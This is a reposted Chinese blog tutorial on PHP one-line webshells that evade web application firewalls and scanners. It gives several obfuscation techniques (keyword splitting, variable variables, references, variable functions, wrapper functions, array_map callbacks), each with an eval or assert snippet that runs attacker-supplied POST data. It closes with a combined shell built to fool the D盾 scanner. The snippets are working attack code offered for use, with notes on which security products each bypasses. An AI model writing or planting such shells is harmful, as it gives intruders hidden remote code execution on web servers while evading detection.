原文轉載於:http://www.legendsec.org/1701.html
覺得寫得還算蠻科普的。
00x1.關鍵字拆分。
比如assert,可以寫成 ‘a’.’ss’.’e’.’r’.’t’這樣。
總結:這種方法雖然簡單,但是卻沒有太強的免殺功效,需要結合其他方法。
00x2.可變變量、引用、可變函數。
可變變量 比如$a=$_POST[‘x’];$b=’a’;@eval($$b);
測試結果:
總結:這種方法對狗等WAF可以繞過哦~但是對於D盾這種多規則的是無效的!
引用 比如$a=$_POST[‘x’];$b=&$a;@eval($b);
測試結果:
總結:這種方法與上一種方法類似。
可變函數 比如$a=’a’.’ss’.’e’.’r’.’t’;$a($_POST[‘x’]);
測試結果:
總結:這種方法對於狗、3衛士、D盾之類的均沒有作用哦~
00x3.添加其他代碼。
添加其他代碼 比如 if(empty($a))
{
$a=$_POST[‘x’];
}
@eval($a);
測試結果:
總結:這種方法比較適合腦洞比較大的小伙伴們~
00x4.函數替換。
使用其他函數,比如eval可以使用assert替換。
總結:這種方法適合eval函數被禁用時使用哦~
00x5.封裝到新的函數中。
新定義一個函數,使其封裝到新函數中。
function test($a){ //定義一個名為test的函數,並使用$a接受參數
eval($a);
}
test($_POST[‘x’]);
測試結果:
總結:這種方法適合有PHP基礎的人哦,姿勢風騷~不怕不過!
00x6.函數回調。
使用其他函數進行調用,並執行。
如:array_map(‘a’.’s’.’se’.’r’.’t’,array($_POST[‘x’]));
測試結果:
總結:這種方法適合有PHP基礎的人哦~這種方法絕對過WAF哦~
00x7.利用各種方法的特性寫出過WAF的一句話。
<?php
function test($a){ //利用所學的封裝函數
if (empty($a)){ //利用所學的添加其他代碼
$a=”echo ‘QQ:xxxxxxx’;”; //使用這句代碼擾亂D盾的判斷
}
@eval($a);
}
@test($_POST[‘x’]);
?>
測試結果:
THE END